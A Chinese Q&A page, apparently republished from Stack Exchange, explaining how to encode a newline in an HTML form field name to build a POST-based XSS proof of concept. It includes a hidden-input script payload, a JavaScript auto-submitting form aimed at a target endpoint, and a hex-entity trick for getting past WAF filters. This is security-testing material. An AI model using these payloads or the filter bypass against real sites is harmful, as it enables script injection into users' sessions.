You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何在HTML form标签中传递换行符\n以完成POST型XSS的POC构造

换行符相关XSS POC构造解决方案

问题根源

你当前使用的
是回车符(CR,ASCII码13)的HTML实体,浏览器处理表单提交时会自动将单独的CR转换为CRLF(\r\n)序列,这就是你会得到多余\r的原因。你需要的换行符(LF,ASCII码10)对应的HTML实体为
,单独使用该实体不会被浏览器追加额外字符。

可行解决方案

  • 方案1:直接替换HTML实体编码
    把payload中原有
替换为
即可满足需求,修改后的payload如下:
    <input hidden=true type="search"  name="&#10;N<html><body><script>alert(document.domain)</script><h1>" value="</h1></body></html>">
    
    绝大多数场景下该实体提交后会被解析为单独的\n,符合触发要求。
  • 方案2:URL编码直接构造请求体
    如果你不需要通过HTML表单自动触发提交,可以直接构造POST请求体,在对应参数位置插入URL编码的换行符%0A即可,无需额外做HTML实体编码,避免浏览器自动转换。
  • 方案3:JavaScript动态构造表单参数
    若HTML实体编码被过滤或存在转义异常,可以通过JS动态生成表单并赋值,直接传入原生换行符,完全绕过HTML实体解析环节:
    const form = document.createElement('form');
    form.method = 'POST';
    form.action = '目标站点接口地址';
    const input = document.createElement('input');
    input.type = 'hidden';
    // 直接传入JS原生换行符,不会生成多余的\r字符
    input.name = '\nN<html><body><script>alert(document.domain)</script><h1>';
    input.value = '</h1></body></html>';
    form.appendChild(input);
    document.body.appendChild(form);
    form.submit();
    
  • 方案4:十六进制实体编码绕过WAF
    如果&#10;被WAF规则拦截,可以替换为等价的十六进制HTML实体&#xA;,解析效果完全一致,仅编码格式存在差异。

内容的提问来源于stack exchange,提问作者complexia

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.04 11:45:00